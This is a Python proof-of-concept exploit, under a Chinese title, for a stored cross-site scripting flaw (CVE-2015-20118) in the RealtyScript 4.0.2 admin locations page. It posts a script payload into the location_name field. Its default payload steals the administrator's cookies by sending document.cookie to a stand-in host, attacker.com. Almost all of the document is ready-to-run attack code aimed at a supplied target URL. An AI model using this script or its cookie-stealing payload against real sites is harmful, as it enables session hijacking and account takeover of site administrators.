CVE-2015-20118 RealtyScript location_name参数存储型XSS漏洞

import requests import sys # CVE-2015-20118 PoC - Stored XSS in RealtyScript location_name parameter # Target: RealtyScript 4.0.2 admin interface def exploit_stored_xss(target_url, payload): """ Exploit the stored XSS vulnerability in RealtyScript locations.php Args: target_url: Base URL of the RealtyScript installation payload: Malicious JavaScript payload to inject Returns: bool: True if exploitation appears successful """ # Endpoint for adding locations in admin interface endpoint = f"{target_url}/admin/locations.php" # Construct POST data with XSS payload in location_name parameter data = { 'location_name': payload, 'submit': 'Add Location' } # Optional: Add authentication if required # cookies = {'admin_session': 'your_session_token'} try: # Send POST request to inject the XSS payload response = requests.post(endpoint, data=data, timeout=10) if response.status_code == 200: print(f"[+] Payload sent successfully to {endpoint}") print(f"[+] Payload: {payload}") print("[+] The XSS payload is now stored in the database") print("[+] It will execute when admin visits locations page") return True else: print(f"[-] Request failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def verify_injection(target_url): """ Verify if the injection was successful by accessing the locations page """ verify_url = f"{target_url}/admin/locations.php" try: response = requests.get(verify_url, timeout=10) if response.status_code == 200: print(f"[+] Locations page accessible at {verify_url}") return True except: return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve_2015_20118.py <target_url> [payload]") print("Example: python cve_2015_20118.py http://target.com \"<script>alert(document.cookie)</script>\"") sys.exit(1) target = sys.argv[1] # Default payload - cookie stealing payload = sys.argv[2] if len(sys.argv) > 2 else "<script>document.location='http://attacker.com/steal?c='+document.cookie</script>" print("=" * 60) print("CVE-2015-20118 - RealtyScript Stored XSS Exploit") print("=" * 60) exploit_stored_xss(target, payload)